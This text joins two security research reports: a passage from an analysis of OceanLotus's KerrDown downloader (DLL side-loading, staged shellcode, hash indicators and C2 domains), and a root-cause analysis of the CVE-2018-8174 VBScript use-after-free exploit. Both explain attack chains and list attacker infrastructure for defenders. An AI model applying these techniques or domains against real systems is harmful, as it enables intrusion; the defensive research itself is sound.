(SHA256:040abac56542a2e0f384adf37c8f95b2b6e6ce3a0ff969e3c1d572e6b4053ff3) has the Vietnamese file name ‘Don khieu nai.rar,’ which translates to ‘Complaint letter’ in English. The archive contains a legitimate older version of Microsoft Word (Microsoft Word 2007) executable file that is named ‘Noi dung chi tiet don khieu nai gui cong ty.exe,’ which translates to ‘Learn more about how to use your company’ in English. The attacker used the DLL side-loading technique to load a malicious DLL by the older version of Microsoft Word. When opening the executable file in the archive, it loads the malicious DLL in the same directory. The DLL executes multi-stage shellcodes, and each shellcode employs various techniques to hide the next stage. The overall installation steps are below: 1. The Microsoft Word exe loads wwlib.dll in the same directory and executes the ‘FMain’ function of the DLL. 2. The DLL decodes base64 encoded shellcode in the body and executes it. 3. The shellcode decompresses the second shellcode, which is compressed with the open-source compression code UCL, and executes it. 4. The second shellcode decrypts the third shellcode with AES. 5. The third shellcode retrieves the shellcode from the following remote location and executes it: https://cortanasyn[.]com/Avcv. 6. The fourth shellcode loads the embedded Cobalt Strike Beacon DLL in memory and executes it. Looking at the compile timestamps of all the KerrDown samples in our datasets, we were able to discern a couple of observations: - OceanLotus has been using the new downloader in their campaigns since at least March 2018 and continues to actively use it in their campaigns. - While it is already widely believed that the OceanLotus group may originate from Vietnam, we wanted to find possible working hour patterns from the samples in our datasets. We plotted the compile times based on GMT +7 and found a clear pattern of the possible working hours of the group. The OceanLotus group has a typical 9 AM to 6 PM working pattern with most samples compiled during this period of the day. We also observed all the samples were compiled during the weekdays – between Monday to Friday. Therefore, it is clear that the OceanLotus group works during weekdays and takes a break during the weekends. ## Conclusion OceanLotus has been an active threat actor group for a number of years and remains one of the most sophisticated threat actors in the APAC region. As we have seen with the new KerrDown downloader being used in their recent campaigns, the group continues to build and employ new tools and techniques in their overall operations and playbooks. It is therefore imperative to understand and keep track of the group’s ongoing operations and capability to better defend against such threats. Given the high number of samples observed, we were also able to discern possible working hour patterns which show us that the group likely has formal working hours and operates out of a region that is like Vietnam or nearby countries. While most of the targeting observed is towards Vietnamese-speaking victims, given the known broader geographic and industry-wide target base of OceanLotus, the group may use similar tools and playbooks against other targets. ### Indicators of Compromise **Lure Docs:** - 73dcbcc47d6bd95dcf031ebbd34ac42301a20ee1143ac130b405e79b4ba40fc8 - 89e19df797481ae2d2c895bcf030fe19e581976d2aef90c89bd6b3408579bfc3 - a4a066341b4172d2cb752de4b938bf678ceb627ecb72594730b78bd05a2fad9d - 8bf22202e4fd4c005afde2266413cba9d1b749b1a2d75deac0c35728b5eb3af8 - df8210d20c5eb80d44ba8fa4c41c26c8421dcb20168e4f796e4955e01ebc9e13 - 94fab926b73a6a5bc71d655c8d611b40e80464da9f1134bfce7b930e23e273ab - 4321a9f95901a77b4acfbaef3596cf681712345e1cbd764873c6643fe9da7331 **KerrDown DLLs:** - 4a0309d8043e8acd7cb5c7cfca95223afe9c15a1c34578643b49ded4b786506b - 4b431af677041dae3c988fcc901ac8ec6e74c6e1467787bf099c4abd658be5be - 4bc00f7d638e042da764e8648c03c0db46700599dd4f08d117e3e9e8b538519b - 4e2f8f104e6cd07508c5b7d49737a1db5eeba910adfdb4c19442a7699dc78cfc - 4e791f2511c9bd3c63c8e37aa6625d8b590054de9e1cca13a7be2630bc2af9ce - 539e8a53db3f858914cfe0d2132f11de34a691391ba71673a8b1e61367a963c7 - 53cd92f37ffd0822cc644717363ba239d75c6d9af0fa305339eaf34077edd22d - 53efaac9244c24fab58216a907783748d48cb32dbdc2f1f6fb672bd49f12be4c - 5c18c3e6f7ac0d0ac2b5fa9a6435ee90d6bd77995f85bed9e948097891d42ca2 - 5cda7d8294a8804d09108359dd2d96cdf4fdcf22ec9c00f0182d005afff76743 - 5f0db8216314da1f128b883b918e5ac722202a2ae0c4d0bf1c5da5914a66778e - 6010d44cdca58cdec4559040e08798e7b28b9434bda940da0a670c93c84e33cd - 60b65ebb921dca4762aef427181775d10bbffc30617d777102762ab7913a5aa1 - 6146aedfe47597606fb4b05458ec4b99d4e1042da7dc974fa33a57e282cd7349 - 6245b74b1cc830ed95cb630192c704da66600b90a331d9e6db70210acb6c7dfa - 67cd191eb2322bf8b0f04a63a9e7cb7bc52fb4a4444fcb8fed2963884aede3aa - 68f77119eae5e9d2404376f2d87e71e4ab554c026e362c57313e5881005ae79e - 69e679daaaff3832c39671bf2b813b5530a70fb763d381f9a6e22e3bc493c8a9 - 6faa7deb1e1e0c3a7c62c2bb0ecdfa56b6e3ba4fe16971ec4572267ac70b9177 - 6fb397e90f72783adec279434fe805c732ddb7d1d6aa72f19e91a1bf585e1ea5 - 70db041fb5aadb63c1b8ae57ba2699baa0086e9b011219dcebcccbf632017992 - 7673f5468ba3cf01500f6bb6a19ce7208c8b6fc24f1a3a388eca491bc25cd9cd - 77805a46f73e118ae2428f8c22ba28f79f7c60aeb6305d41c0bf3ebb9ce70f94 - 788265447391189ffc1956ebfec990dc051b56f506402d43cd1d4de96709c082 - 7be613237b57fbc3cb83d001efadeed9936a2f519c514ab80de8285bdc5a666c - 7dbb7fab4782f5e3b0c416c05114f2a51f12643805d5f3d0cd80d32272f2731a - 7ec77e643d8d7cc18cc67c123feceed91d10db1cc9fa0c49164cba35bb1da987 - 860f165c2240f2a83eb30c412755e5a025e25961ce4633683f5bc22f6a24ddb6 - 868ed69533fac80354a101410d3dd0a66f444385c6611cc85c5b0be49db2d6fd - 89759e56d5c23085e47d2be2ce4ad4484dfdd4204044a78671ed434cec19b693 - 8b7fb1cd5c09f7ec57ccc0c4261c0b4df0604962556a1d401b9cbfd750df60ba - 8d6e31c95d649c08cdc2f82085298173d03c03afe02f0dacb66dd3560149184f - 942d763604d0aefdff10ce095f806195f351124a8433c96f5590d89d809a562f - 98a5f30699564e6d9f74e737a611246262907b9e91b90348f7de53eb4cf32665 - 9e6011d6380207e2bf5105cde3d48e412db565b92cdc1b3c6aa15bd7bd4b099f - a106e0a6b7cc30b161e5ea0b1ec0f28ab89c2e1eb7ba2d5d409ddbabc3b037e6 - a2b905c26e2b92e63de85d83e280249258cb21f300d8c4a3a6bdb488676e9bcf - a4a86e96f95f395fcf0ceb6a74a2564f4ba7adbe1b40cc702b054427327a0399 - a8192656dd1db0be4cec9d03b4d10e0529d9c52c899eda8d8e72698acfb61419 - a8f776bd3a9593e963b567ce790033fec2804ea0afb40a92d40e21d8f33d066f - b4966f8febdba6b2d674afffc65b1df11e7565acbd4517f1e5b9b36a8c6a16ed - bb25f1a73d095d57b2c8c9ac6780e4d412ddf3d9eef84a54903cc8e4eaefc335 - bc82bce004afb6424e9d9f9fc04a84f58edf859c4029eda08f7309dbeec67696 - c30198e0b0e470d4ac8821bd14bb754466e7974f1c20be8b300961e9e89ed1ea - caabc45e59820a4349db13f337063eddede8a0847ae313d89a800f241d8556c8 - d3ef6643ad529d43a7ec313b52c8396dc52c4daad688360eb207ee91a1caf7b2 - e3c818052237bb4bb061290ab5e2a55c3852c8a3fef16436b1197e8b17de2e18 - e56ffcf5df2afd6b151c24ddfe7cd450f9208f59b5731991b926af0dce24285a - e8704bf6525c90e0f5664f400c3bf8ff5da565080a52126e0e6a62869157dfe3 - e8a454cd8b57a243f0abeec6945c9b10616cfdcc4abfb4c618bfc469d026d537 - eac776c3c83c9db1a770ffaf6df9e94611c8293cbd41cb9257148603b8f2be0b - ead0f3e6f0ca16b283f09526d09e8e8cba687dab642f0e102e5487cb565bf475 - f011a136996fa53fdbde944da0908da446b9532307a35c44ed08241b5e602cc9 - f2a2f4fa2ed5b2a94720a4661937da97ab21aa198a5f8c83bb6895aa2c398d22 - f62f21ee7e642f272b881827b45ceb643c999a742e1d3eac13d1ba014d1e7f67 ### C2: - theme[[.]]blogsite[.]org - cortana[.]homelinux[.]com - word[.]webhop[.]info - work[.]windownoffice[.]com - cortanasyn[.]com - e[.]browsersyn[.]com - syn[.]servebbs[.]com - service[.]windown-update[.]com - check[.]homeip[.]net - outlook[.]updateoffices[.]net - mail[.]fptservice[.]net - office[.]windown-update[.]com - cortanazone[.]com - beta[.]officopedia[.]com - videos[.]dyndns[.]org - service[.]serveftp[.]org - syn[.]browserstime[.]com - check[.]webhop[.]org - ristineho[.]com ### Appendix A: Cobalt Strike Beacon contains the hard-coded configuration data in its body. JPCERT published an article about the structure of the configuration. The sample we obtained has the following configuration and connects to the C2 server, https://b.cortanazone[.]com. ### Appendix B: Figure 11 shows some of the contents of the individual RAR files. All the .exe files are copies of Windows Word, and the associated ‘wwlib.dll’ file is the malicious downloader DLL KerrDown, which is sideloaded when the .exe file gets executed.
# Root Cause Analysis of CVE-2018-8174 **Authors** Vladislav Stolyarov Boris Larin Anton Ivanov In late April 2018, a new zero-day vulnerability for Internet Explorer (IE) was found using our sandbox; more than two years since the last in-the-wild example (CVE-2016-0189). This particular vulnerability and subsequent exploit are interesting for many reasons. The following article will examine the core reasons behind the latest vulnerability, CVE-2018-8174. ## Searching for the Zero Day Our story begins on VirusTotal (VT), where someone uploaded an interesting exploit on April 18, 2018. This exploit was detected by several AV vendors including Kaspersky, specifically by our generic heuristic logic for some older Microsoft Word exploits. After the malicious sample was processed in our sandbox system, we noticed that a fully patched version of Microsoft Word was successfully exploited. From this point, we began a deeper analysis of the exploit. Let’s take a look at the full infection chain: The infection chain consists of the following steps: 1. A victim receives a malicious Microsoft Word document. 2. After opening the malicious document, a second stage of the exploit is downloaded; an HTML page containing VBScript code. 3. The VBScript code triggers a Use After Free (UAF) vulnerability and executes shellcode. ## Initial Analysis We’ll start our analysis with the initial Rich Text Format (RTF) document that was used to deliver the actual exploit for IE. It only contains one object, and its contents are obfuscated using a known obfuscation technique we call “nibble drop.” After deobfuscation and hex-decoding of the object data, we can see that this is an OLE object that contains a URL Moniker CLSID. Because of this, the exploit initially resembles an older vulnerability leveraging the Microsoft HTA handler (CVE-2017-0199). With the CVE-2017-0199 vulnerability, Word tries to execute the file with the default file handler based on its attributes; the Content-Type HTTP header in the server’s response being one of them. Because the default handler for the “application/hta” Content-Type is mshta.exe, it is chosen as the OLE server to run the script unrestricted. This allows an attacker to directly call ShellExecute and launch a payload of their choice. However, if we follow the embedded URL in the latest exploit, we can see that the content type in the server’s response is not “application/hta,” which was a requirement for CVE-2017-0199 exploitation, but rather “text/html.” The default OLE server for “text/html” is mshtml.dll, which is a library that contains the engine behind Internet Explorer. Furthermore, the page contains VBScript, which is loaded with a safemode flag set to its default value, ‘0xE.’ Because this disallows an attacker from directly executing a payload, as was the case with the HTA handler, an Internet Explorer exploit is needed to overcome that. Using a URL moniker like that to load a remote web page is possible because Microsoft’s patch for Moniker-related vulnerabilities (CVE-2017-0199, CVE-2017-8570, and CVE-2017-8759) introduced an activation filter, which allows applications to specify which COM objects are restricted from instantiating at runtime. At the time of this analysis, the list of filtered CLSIDs consisted of 16 entries. The MSHTML CLSID ({{25336920-03F9-11CF-8FD0-00AA00686F13}}) is not in the list, which is why the MSHTML COM server is successfully created in Word context. This is where it becomes interesting. Despite a Word document being the initial attack vector, the vulnerability is actually in VBScript, not in Microsoft Word. This is the first time we’ve seen a URL Moniker used to load an IE exploit, and we believe this technique will be used heavily by malware authors in the future. This technique allows one to load and render a web page using the IE engine, even if the default browser on a victim’s machine is set to something different. The VBScript in the downloaded HTML page contains both function names and integer values that are obfuscated. ## Vulnerability Root Cause Analysis For the root cause analysis, we only need to look at the first function (‘TriggerVuln’) in the deobfuscated version, which is called right after ‘RandomizeValues’ and ‘CookieCheck.’ To achieve the desired heap layout and to guarantee that the freed class object memory will be reused with the ‘ClassToReuse’ object, the exploit allocates some class objects. To trigger the vulnerability, this code could be minimized to the following proof-of-concept (PoC): When we then launch this PoC in Internet Explorer with page heap enabled, we can observe a crash at the OLEAUT32!VariantClear function. With this PoC, we were able to trigger a Use-after-free vulnerability; both ArrA(1) and ArrB(1) were referencing the same ‘ClassVuln’ object in memory. This is possible because when “Erase ArrA” is called, the vbscript!VbsErase function determines that the type of the object to delete is a SafeArray, and then calls OLEAUT32!SafeArrayDestroy. It checks that the pointer to a tagSafeArray structure is not NULL and that its reference count, stored in the cLocks field, is zero, and then continues to call ReleaseResources. ReleaseResources, in turn, will check the fFeatures flags variable, and since we have an array of VARIANTs, it will subsequently call VariantClear; a function that iterates each member of an array and performs the necessary deinitialization and calls the relevant class destructor if necessary. In this case, VBScriptClass::Release is called to destroy the object correctly and handle destructors like Class_Terminate, since the VARTYPE of ArrA(1) is VT_DISPATCH. This ends up being the root cause of the vulnerability. Inside the VBScriptClass::Release function, the reference count is checked only once, at the beginning of the function. Even though it can be (and actually is, in the PoC) incremented in an overloaded TerminateClass function, no checks will be made before finally freeing the class object. Class_Terminate is a deprecated method, now replaced by the ‘Finalize’ procedure. It is used to free acquired resources during object destruction and is executed as soon as the object is set to nothing and there are no more references to that object. In our case, the Class_Terminate method is overloaded, and when a call to VBScriptClass::TerminateClass is made, it is dispatched to the overloaded method instead. Inside of that overloaded method, another reference is created to the ArrA(1) member. At this point, ArrB(1) references ArrA(1), which holds a soon-to-be-freed ClassVuln object. After the Class_Terminate sub is finished, the object at ArrA(1) is freed, but ArrB(1) still maintains a reference to that freed class object. When the execution continues, and ArrB is erased, the whole cycle repeats, except that this time, ArrB(1) is referencing a freed ClassVuln object, and so we observe a crash when one of the virtual methods in the ClassVuln vtable is called. ## Conclusion In this write-up, we analyzed the core reasons behind CVE-2018-8174, a particularly interesting Use-After-Free vulnerability that was possible due to incorrect object lifetime handling in the Class_Terminate VBScript method. The exploitation process is different from what we’ve seen in exploits for older vulnerabilities (CVE-2016-0189 and CVE-2014-6332) as the Godmode technique is no longer used. The full exploitation chain is as interesting as the vulnerability itself, but is out of scope of this article. With CVE-2018-8174 being the first public exploit to use a URL moniker to load an IE exploit in Word, we believe that this technique, unless fixed, will be heavily abused by attackers in the future, as it allows you to force IE to load ignoring the default browser settings on a victim’s system. We expect this vulnerability to become one of the most exploited in the near future, as it won’t be long until exploit kit authors start abusing it in both drive-by (via browser) and spear-phishing (via document) campaigns. To stay protected, we recommend applying the latest security updates and using a security solution with behavior detection capabilities. In our opinion, this is the same exploit which Qihoo360 Core Security Team called “Double Kill” in their recent publication. While this exploit is not limited to browser exploitation, it was reported as an IE zero day, which caused certain confusion in the security community. After finding this exploit, we immediately shared the relevant information with Microsoft, and they confirmed that it is in fact CVE-2018-8174, and received an acknowledgment for the report. This exploit was found in the wild and was used by an APT actor. More information about that APT actor and usage of the exploit is available to customers of Kaspersky Intelligence Reporting Service. ## Detection Kaspersky Lab products successfully detect and block all stages of the exploitation chain and payload with the following verdicts: - HEUR:Exploit.MSOffice.Generic – RTF document - PDM:Exploit.Win32.Generic – IE exploit – detection with Automatic Exploit Prevention technology - HEUR:Exploit.Script.Generic – IE exploit - HEUR:Trojan.Win32.Generic – Payload ## IOCs - b48ddad351dd16e4b24f3909c53c8901 – RTF document - 15eafc24416cbf4cfe323e9c271e71e7 – Internet Explorer exploit (CVE-2018-8174) - 1ce4a38b6ea440a6734f7c049f5c47e2 – Payload - autosoundcheckers[.]com - Microsoft Internet Explorer - Vulnerabilities and exploits - Zero-day vulnerabilities **Authors** Vladislav Stolyarov Boris Larin Anton Ivanov